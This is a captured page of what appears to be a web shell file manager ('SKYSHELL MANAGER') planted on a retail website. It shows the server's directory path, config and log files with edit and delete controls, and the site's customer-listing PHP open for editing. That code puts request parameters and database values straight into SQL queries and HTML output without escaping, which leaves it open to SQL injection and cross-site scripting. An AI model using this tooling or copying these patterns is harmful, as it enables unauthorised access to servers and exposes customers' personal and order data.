📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
5115.68 KB
0644
🗑️
⬇️
✏️
🔒
Editing: storeusers.php
<?php $itemsPerPage = 30; $page = isset($_GET['page']) ? $_GET['page'] : 1; $offset = ($page - 1) * $itemsPerPage; $sql = "SELECT u.*, (SELECT COUNT(*) FROM users AS referred WHERE referred.referal = u.email AND u.email <> '' OR referred.referal = u.phone AND u.phone <> '') AS referral_count FROM users AS u WHERE u.status='user' ORDER BY s DESC LIMIT $offset, $itemsPerPage"; $sql2 = mysqli_query($con, $sql); while ($row = mysqli_fetch_array($sql2)){ $status = $row['status_log']; $customermail = $row['email']; $alternativename = !empty($row['altname']) ? '<br>('.$row['altname'] .')' : ""; $optionforwholesaler=""; if($row['type']=="online" && $row['verify']=="no"){ $optionforwholesaler=" <form action='' method='post' onsubmit=\"return confirm('Are you sure you want to make this user a wholesaler?')\"> <input type='text' name='user' value='" . $row['id'] . "' required hidden> <button type='submit' class='dropdown-item' name='makewhole' value='delete' class='btn btn-sm btn-primary shadow-sm' $disableothers>Make Wholesaler</button> </form>"; } $loyalty = $row['loyalty']; $loyal = ($loyalty != "0") ? '<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" class="bi bi-patch-check-fill verified-' . $loyalty . '" viewBox="0 0 16 16"> <path d="M10.067.87a2.89 2.89 0 0 0-4.134 0l-.622.638-.89-.011a2.89 2.89 0 0 0-2.924 2.924l.01.89-.636.622a2.89 2.89 0 0 0 0 4.134l.637.622-.011.89a2.89 2.89 0 0 0 2.924 2.924l.89-.01.622.636a2.89 2.89 0 0 0 4.134 0l.622-.637.89.011a2.89 2.89 0 0 0 2.924-2.924l-.01-.89.636-.622a2.89 2.89 0 0 0 0-4.134l-.637-.622.011-.89a2.89 2.89 0 0 0-2.924-2.924l-.89.01-.622-.636zm.287 5.984-3 3a.5.5 0 0 1-.708 0l-1.5-1.5a.5.5 0 1 1 .708-.708L7 8.793l2.646-2.647a.5.5 0 0 1 .708.708z"/> </svg>' : ''; $disable = ''; $exist_not = ''; if ($customermail == '') { $disable = 'disabled'; $exist_not = '<p style="color:red;">User does not have a registered email address</p>'; } $id = $row['id']; $bg = ($status == "inactive") ? "bg-danger" : (($status == "active") ? "bg-success" : ''); $sqls = "SELECT COUNT(*) AS total_orders, SUM(total_amount) AS total_amount FROM orders WHERE user_id ='$id' AND pay_status = 'paid' "; $sql2s = mysqli_query($con, $sqls); if (!$sql2s) { echo "Error: " . mysqli_error($con); } else { // The query executed successfully, fetch the data $rows = mysqli_fetch_array($sql2s); $orders = $rows['total_orders']; $total = $rows['total_amount']; } $total =formatNumber( ($total == "") ? "0" : $total); echo " <tr> <td> <div class='dropdown'> <button class='btn btn-primary btn-sm dropdown-toggle' type='button' id='dropdownMenuButton1' data-toggle='dropdown'> Actions </button> <div class='dropdown-menu dropdown-menu-right'> <h6 class='dropdown-header'>Actions</h6> <form action='editusers' method='get'> <input type='text' name='orderid' value='" . $row['s'] . "' required hidden> <button type='submit' class='dropdown-item' name='submi' value='Edit' class='btn btn-sm btn-primary shadow-sm'>Edit/View Profile</button> </form> <button type='button' class='dropdown-item' data-toggle='modal' data-target='#messageModal" . $row['id'] . "'>Send Message</button> <form action='' method='post' onsubmit=\"return confirm('Are you sure you want to delete this user completely?')\"> <input type='text' name='user' value='" . $row['id'] . "' required hidden> <button type='submit' class='dropdown-item' name='deleteuser' value='delete' class='btn btn-sm btn-primary shadow-sm' $disableothers>Delete User</button> </form> $optionforwholesaler </div> </div> </td> <div class='modal' id='messageModal" . $row['id'] . "' tabindex='-1' role='dialog'> <div class='modal-dialog' role='document'> <div class='modal-content'> <div class='modal-header'> <h5 class='modal-title'>Send Message To User (".$row['name'].")</h5> <button type='button' class='close' data-dismiss='modal' aria-label='Close'> <span aria-hidden='true'>×</span> </button> </div> <div class='modal-body'> <form id='messageForm' method='POST' enctype='multipart/form-data' > <div class='form-group'> <label for='mailSubject'>Mail Subject</label> <input type='hidden' class='form-control' name='user' value='".$row['id']."' required> <input type='text' class='form-control' id='mailSubject' name='subject' required> </div> <div class='form-group'> <label for='mainMessage'>Main Message</label> <textarea class='form-control' id='editor' name='message' rows='5' ></textarea> </div> <div class='form-group'> <label for='mailSubject'>Attach File (Optional)</label> <input type='file' class='form-control' id='filename' name='file'> </div> $exist_not <button type='submit' name='sendmessage' value='see' class='btn btn-primary' $disable>Send</button> <button type='button' class='btn btn-secondary' data-dismiss='modal'>Close</button> </form> </div> </div> </div> </div> <td>" . $row['id'] . "</td> <td>" . $row['name'] . " $alternativename $loyal</td> <td>" . $row['email'] . "</td> <td>" . $row['phone'] . "</td> <td>" . $row['reg_date'] . "</td> <td>" . $row['lastseen'] . "</td> <td><div class='badge $bg' style='color:white;'>" . $row['status_log'] . "</div></td> <td><div class='badge bg-warning' style='color:white;'>Orders: $orders</div><br>₦$total<br>Referal: ".$row['referral_count']."</td> <td>" . $row['type'] . "</td> </tr>"; } ?>
💾 Save Changes